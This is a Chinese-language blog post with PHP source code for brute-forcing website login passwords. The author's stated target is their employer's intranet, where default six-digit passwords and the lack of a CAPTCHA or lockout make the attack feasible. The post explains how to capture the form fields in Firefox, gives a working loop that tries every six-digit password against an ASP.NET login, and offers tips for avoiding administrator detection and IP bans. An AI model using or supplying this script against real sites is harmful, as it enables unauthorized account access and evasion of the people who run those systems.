php脚本暴力破解网站密码(附php源代码)

    有一种网站,没有验证码;有一种网站,你可以利用某种手段获取到登陆者的用户名(比如邮箱啦等等,用户名你是知道的),你所不知道的仅仅是登录密码,有没有什么方法可以破解呢?

    我们单位有一个内网(虽是内网,但有时在家也可以登录),用户名可以搞到,密码原始是六位的数字(其实大多数人都没有修改过),而且牛叉的是,这个网站登录时,如果输入错误次数过多也不会让你输入验证码,这太好了,心中窃喜,可以用暴力破解法嘛。


     暴力破解,要用到遍历,直到试出你要的用户名为止,这些都简单,关键是如何用技术去实现。其实这种技术,说白了就是网络机器人,网络机器人有很多种,有名字的比如蜘蛛、爬虫等等,大概就是依据对http协议的了解,去编写自动化的网络操作。注意,自动化这三个字很关键,因为传统的浏览器模式无法实现自动化。

     编写这个暴力破解网站密码的网络机器人,要用到php,因为php简直就是为了网络而生的,有相当方便的函数供使用,很方便,而且php是脚本语言,用起来也容易。在这里,我是拿php当shell脚本用的,直接在windows的控制台里执行,没这么用过的哥们自己上网找找,这我就不过多解释了。

     本次破解过程所用到的原材料有:php环境,firfox,一个名为LIB_http.php的php库(是某个大牛写的,我这里借用一下,会用到这个库里的http()函数,这个库的下载连接地址为:http://www.webbotsspidersscreenscrapers.com/DSP_download.php),好了,就这三个,下面开讲。



    先说说破解的大致思路,正常情况下我们用浏览器,填写用户名和密码,然后点击提交按钮,信息就被发送到后端,如果用户名和密码错误,将返回登陆页面,反之则返回成功页面。

     那么,我们要做的就是,模拟浏览器的这种行为,然后根据返回的结果判定密码是否正确。

     第一步,为了完全100%的模拟浏览器,我们必须先要知晓点击“提交”按钮后,都发送了哪些数据,如果只发送密码和用户名,其他数据对不上,后台服务器就会产生一个异常,而且更可怕的是,这会引起管理员的注意,搞不好会封掉你的ip,那你就玩完了。
    
     关键是怎么才能知道提交了哪些数据呢?用firfox吧,里面有一个很牛叉的功能。用firfox登录你想破解的网站,单击右键选择“查看元素”,点“控制台”,点“网络”下拉框,选中“记录请求和响应主体”。这样一来就可以利用firfox为我们抓包了。之前有人推荐firdebug,未免是大材小用了,其实firfox原本的东东就够了,而且很好。在登录页面上随便输入一个用户名和密码,点击“登录”,可以在控制台看到http请求,一般要找post型的。点击打开,在“已发送表单数据”可以看到都发送了那些数据,要记录下来,一些asp.net的网站,由于用到了一些验证控件,会出现不少东西,比如__VIEWSTATE之类的,甭管它,记下来,过会用。对了,有一点忘说了,用firfox这个工具,还可以知道提交的目标地址(比如有时候是一个servlet,或者是jsp,aspx都可能,要看好)和上连接(不知道上连接的请自行补脑)。

     知道发什么数据了,就要开始编程序了,源代码如下:
<?php
include("php_lib/LIB_http.php");

error_reporting(E_ALL^E_NOTICE);//除去notice提示

$action="登陆页面提交的后台地址,查看方法上面已讲";
$method="POST";//注意,必须是大写,GET方法也一样
$ref="上连接地址,查看方法上面已讲";
$data_array['ctl00$MainContent$tbStuId']="";//要发送的数据,都写到一个数组里,数据的查看方法上面已讲。
$data_array['ctl00$MainContent$tbIdentityId']="";
$data_array['ctl00$MainContent$LoginUser$UserName']="用户名";
//$data_array['ctl00$MainContent$LoginUser$Password']=$strpass(密码);
$data_array['ctl00$MainContent$LoginUser$LoginButton']="登录";
$data_array['__VIEWSTATE']="/wEPDwUKMTM2OTQ5MzkyMA9kFgJmD2QWAgIDD2QWBgIDDw9kFgIeBXN0eWxlBRJtYXJnaW4tbGVmdDoxNjBweDsWBAIBDzwrAAUBAA8WAh4HVmlzaWJsZWhkZAIDDw9kFgIfAAUzZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDoxMDBweDttYXJnaW4tcmlnaHQ6MTAwcHg7ZAIFDw8WBh4FV2lkdGgbAAAAAAAAZEABAAAAHgRfIVNCAoACHwFoZGQCBw8PFgIeBFRleHQF+AHljJfkuqzluILlrabnlJ/otYTliqnkuovliqHnrqHnkIbkuK3lv4PniYjmnYPmiYDmnIkmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDvljJfkuqzlt6XllYblpKflrabnoJTliLYmbmJzcDsmbmJzcDsmbmJzcDvCqTIwMTEtMjAxM2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSZjdGwwMCRNYWluQ29udGVudCRMb2dpblVzZXIkUmVtZW1iZXJNZcVB092mLxjWH8VqPqNfoiesnMTTfv/8XLUqN0IvHeWh";
$data_array['__EVENTVALIDATION']="/wEdAAg4OGQHZT9XqX7BisSv3xvacc3fpmfwSgCZgt7RGgsQTYT2MeBFtJvt+JB+if6UByL53d8HLcsMPPSWw23i74K4rVJzD9epthGmOWrcxXKP7u1vquycB/s6+IJJa4hgd+jsl1raoinWIrD1aNCfPQQ5CQtH8leGQTiMCnhMu4O3EZWz6MelE6yxI8DG7fS+/BYQQRNWIIZPR21FZQRefgAc";
$data_array['__EVENTTARGET']="";
$data_array['__EVENTARGUMENT']="";

for($pass=000000; $pass<999999;$pass++){
$strpass=strval($pass);
$data_array['ctl00$MainContent$LoginUser$Password']=$strpass;
$response = http($target=$action,$ref,$method,$data_array,EXCL_HEAD);
$str = $response['STATUS'];
echo $pass." ";
if($str['url']=="登录成功后的跳转页面"){
echo "\n\n\nthe result is:".$pass."\n";//输出密码
return;
}
//echo $str['url']."\n";
}
?>

上面的代码完全没问题,你要改动的,仅仅是$data_array数组的内容,这要依据firfox去查看。上面的数组$data_array内容是我自己的,你们破解的时候还是要用firfox自己去看,一定不能错,否走后台出异常,而且数据不能多,不能少,类型也必须对。


好吧,就到这里了,如果你网速快的话,1分钟试验300~400个密码没有问题,如果多用几台电脑就更快了,在我写这段文字的时候,我的电脑还在破解一个密码,要等到明天一早了,先睡了。对了,这都告诉你们了,可千万别干坏事啊。

你可能感兴趣的:(PHP,脚本 破解密码)